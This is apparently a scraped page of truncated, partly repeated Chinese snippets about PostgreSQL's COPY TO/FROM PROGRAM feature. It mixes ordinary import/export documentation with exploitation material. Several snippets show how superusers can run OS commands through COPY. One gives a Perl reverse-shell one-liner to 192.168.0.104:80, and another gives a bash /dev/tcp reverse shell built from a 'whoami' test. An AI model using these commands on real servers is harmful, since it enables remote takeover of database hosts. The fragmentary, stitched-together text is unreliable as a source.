postgreSQL是一个功能强大对象关系数据库管理系统。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。 漏洞利用 这个漏洞是一个版本漏洞 从9.3版本开始,Postgres新增了一个 COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及 p...
test=> copy a.test from '/tmp/a_test.txt'; ERROR: must be superuser to COPY to or from a file HINT: Anyone can COPY to stdout or from stdin. psql's \copy command also works for anyone. test=> \copy a.test from '/tmp/a_test.txt'; COPY 3 test=> select * from test; id ...
在Linux和Mac OSX系统下通常可以利用perl语言实现反弹shell,命令如下: COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"'; 当然,我还有更简单的方法。我制作了一...
postgreSQL是一个功能强大对象关系数据库管理系统。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。 漏洞利用 这个漏洞是一个版本漏洞 从9.3版本开始,Postgres新增了一个 COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及 p...
COPY(SELECT*FROMcustomersWHEREnameLIKE'A%')TO'/data/test_data.copy'; 如果需要压缩数据,使用下面命令: 代码语言:javascript 复制 COPYcustomersTOPROGRAM'gzip > /data/test_data.copy.gz'; 如果仅导出2列,使用下面命令: 代码语言:javascript 复制
] ) ] FROM { 'filename' | command' | STDIN } [ [ WITH ] ( option [, ] ) ] COPY { table_name column_name [, ...] ) ] | ( query ) } TO { 'filename' | PROGRAM 'command' | STDOUT } [ [ WITH ] ( option [, ...] ) ] where option can be one of: FORMAT format...
PROGRAM 需执行的程序名。在COPY FROM命令中,输入是从程序的标准输出中读取,而在COPY TO中,命令的输出会作为程序的标准输入。 注意,程序一般是在命令行界面下执行,当用户需要传递一些变量给程序时,如果这些变量的来源不是可靠的,用户必须小心过滤处理那些对命令行界面来说是有特殊意义的字符。 基于安全的原因,最好...
要将数据导入PostgreSQL数据库,可以使用COPY命令。COPY命令有两种形式:COPY FROM和COPY TO,分别用于从文件导入数据和将数据导出到文件。 1.1 COPY FROM COPY FROM命令用于将数据从文件导入到数据库表中。它的基本语法如下: COPYtable_name [ ( column_name [,...] ) ] FROM{'filename'| PROGRAM'command'| STDI...
COPYcmd_exec2FROMPROGRAM'whoami'WITH(FORMAT csv,ESCAPE'\'); SELECT*FROMcmd_exec2; 反弹shell 在当前机器出网的情况下,可以通过bash来进行反弹shell,结果如下所示 droptableifexistscmd_exec;createtablecmd_exec(cmd_output text);copycmd_execfromprogram'/bin/bash -c "/bin/bash -i >& /dev/tcp/xxx...
如果表中有任何不在字段列表里的字段,那么COPYFROM将为那些字段插入缺省值。带文件名的COPY指示PostgreSQL服务器直接从文件中读写数据。如果声明了文件名,那么服务器必须可以访问该文件,而且文件名必须从服务器的角度声明。如果使用了PROGRAM选项,则服务器会从指定的这个程序进行输入或是写入该程序作为输出。如果使用了STD...